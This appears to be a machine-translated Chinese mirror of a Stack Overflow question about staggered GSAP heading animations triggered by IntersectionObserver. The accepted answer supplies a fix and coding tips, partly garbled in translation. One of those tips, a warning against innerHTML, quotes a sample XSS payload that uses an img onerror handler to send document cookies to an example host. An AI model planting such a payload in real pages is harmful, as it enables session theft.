首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >每个带有IntersectionObserver的新动画元素都会得到一个不必要的延迟。

每个带有IntersectionObserver的新动画元素都会得到一个不必要的延迟。
EN

Stack Overflow用户
提问于 2020-03-22 02:37:47
回答 1查看 481关注 0票数 2

我正在使用IntersectionObserver动画每个h1上的滚动。正如您在片段中看到的那样,问题是每个h1每次都会触发动画。这意味着交叉h1的每个新动画都需要等待前面的动画完成,其结果基本上是对每个新entry.target的一种增量延迟。这不是我想要的。我试图在不观察anim-text之前和之后删除entry.target类,但是它没有工作。我认为问题在//文本拆分部分的forEach循环中,但是我的所有努力都没有解决这个问题。

提前感谢您的帮助!

代码语言:javascript
复制
const titles = document.querySelectorAll("h1");

const titlesOptions = {
  root: null,
  threshold: 1,
  rootMargin: "0px 0px -5% 0px"
};
const titlesObserver = new IntersectionObserver(function(
  entries,
  titlesObserver
) {
  entries.forEach(entry => {
    if (!entry.isIntersecting) {
      return;
    } else {
      entry.target.classList.add("anim-text");
      // TEXT SPLITTING
      const animTexts = document.querySelectorAll(".anim-text");

      animTexts.forEach(text => {
        const strText = text.textContent;
        const splitText = strText.split("");
        text.textContent = "";

        splitText.forEach(item => {
          text.innerHTML += "<span>" + item + "</span>";
        });
      });
      // END TEXT SPLITTING

      // TITLE ANIMATION
      const charTl = gsap.timeline();

      charTl.set(entry.target, { opacity: 1 }).from(".anim-text span", {
        opacity: 0,
        x: 40,
        stagger: 0.1
      });

      titlesObserver.unobserve(entry.target);
      // END TITLE ANIMATION
    }
  });
},
titlesOptions);

titles.forEach(title => {
  titlesObserver.observe(title);
});
代码语言:javascript
复制
* {
  color: white;
  padding: 0;
  margin: 0;
}
.top {
  display: flex;
  justify-content: center;
  align-items: center;
  font-size: 2rem;
  height: 100vh;
  width: 100%;
  background-color: #279AF1;
}

h1 {
  opacity: 0;
  font-size: 4rem;
}

section {
  padding: 2em;
  height: 100vh;
}

.sec-1 {
  background-color: #EA526F;
}

.sec-2 {
  background-color: #23B5D3;
}

.sec-3 {
  background-color: #F9C80E;
}

.sec-4 {
  background-color: #662E9B;
}
代码语言:javascript
复制
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<div class="top">Scroll Down</div>
<section class="sec-1">
  <h1>FIRST</h1>
</section>
<section class="sec-2">
  <h1>SECOND</h1>
</section>
<section class="sec-3">
  <h1>THIRD</h1>
</section>
<section class="sec-4">
  <h1>FOURTH</h1>
</section>

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2020-03-22 17:57:56

让我们在这里简化一下,因为您显示的代码太多了。另外,你做一些事情的方式有点奇怪,所以也有一些提示。

  1. 您有一个if (...) { return } else ...,它不需要else的作用域:函数返回,或者我们继续。与其检查“不相交”然后返回,不如检查插入段,然后运行。使用+使用字符串组合的
  2. :停止使用该函数,并开始使用现代模板字符串。因此,您不用使用"a" + b + "c",而是使用`a${b}c`。不再使用+,不再有与使用.innerHTML赋值的字符串.innerHTML相关的bug:这是非常危险的,特别是如果其他人的脚本将您的标题更新为像<img src="fail.jpg" onerror="fetch('http://example.com/exploits/send?data='+JSON.stringify(document.cookies)">之类的字面HTML代码。永远不要使用innerHTML,使用普通的DOM函数(createElementappendChild等)。
  3. --您使用了大量的const thing = arrow function而不需要this保存:只需使这些正常函数生效,并从提升(所有正常函数在任何代码实际运行之前都绑定到作用域)
  4. 中受益,当您在运行需要为观察到的条目启动的代码之前,使用观察者、非观察者的
  5. ,尤其是当您运行的代码超过几行代码时。这并不是愚蠢的证据,但当人们在你的元素上滑动或滚动时,你的条目第二次启动的可能性要小得多。
  6. ,当然还有你的代码不能工作的原因:你选择了所有的.anim-text span元素。包括你已经处理过的标题。因此,当第二个滚动到视图中时,您将在第一个和第二个标题中选择所有的span,然后交错地动画它们的字母。相反,您只想在当前标题中错开字母,因此给它们一个id,然后使用#headingid span查询选择。

然而,尽管7听起来很像修复程序,但由于现代文本的工作原理,这里仍然存在一个潜在的缺陷:由于连接,无法保证一个单词看起来与“组成它的字母的集合”相同。例如,如果您使用的字体具有将实际字符串=>转换为单个字形 (就像几个编程字体所做的那样)的绑定,那么您的代码就会做错误的事情。

但这不一定是现在要解决的问题,更重要的是需要注意的事情。您的代码并不是通用的,但可能对您的目的来说已经足够好了。

因此,让我们重写一下您的代码,丢弃那些与问题无关的部分,当然,最重要的是,修复一些内容:

代码语言:javascript
复制
function revealEntry(h1) {
  const text = h1.textContent;
  h1.textContent = "";

  text.split(``).forEach(part => {
    const span = document.createElement('span');
    span.textContent = part;
    h1.appendChild(span);
  });

  // THIS IS THE ACTUAL FIX: instead of selecting _all_ spans
  // inside _all_ headings with .anim-text, we *only* select
  // the spans in _this_ heading:
  const textSpans = `#${h1.id} span`;

  const to = { opacity: 1 };
  const from = { opacity: 0, x: -40, stagger: 1 };
  gsap.timeline().set(h1, to).from(textSpans, from);
}

function watchHeadings(entries, observer) {
  entries.forEach(entry => {
    if (entry.isIntersecting) {
      const h1 = entry.target;
      observer.unobserve(h1);
      revealEntry(h1);
    }
  });
};

const observer = new IntersectionObserver(watchHeadings);
const headings = document.querySelectorAll("h1");
headings.forEach(h1 => observer.observe(h1));
代码语言:javascript
复制
h1 {
  opacity: 0;
  font-size: 1rem;
}
代码语言:javascript
复制
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<h1 id="a">FIRST</h1>
<h1 id="b">SECOND</h1>
<h1 id="c">THIRD</h1>
<h1 id="d">FOURTH</h1>

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/60795405

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档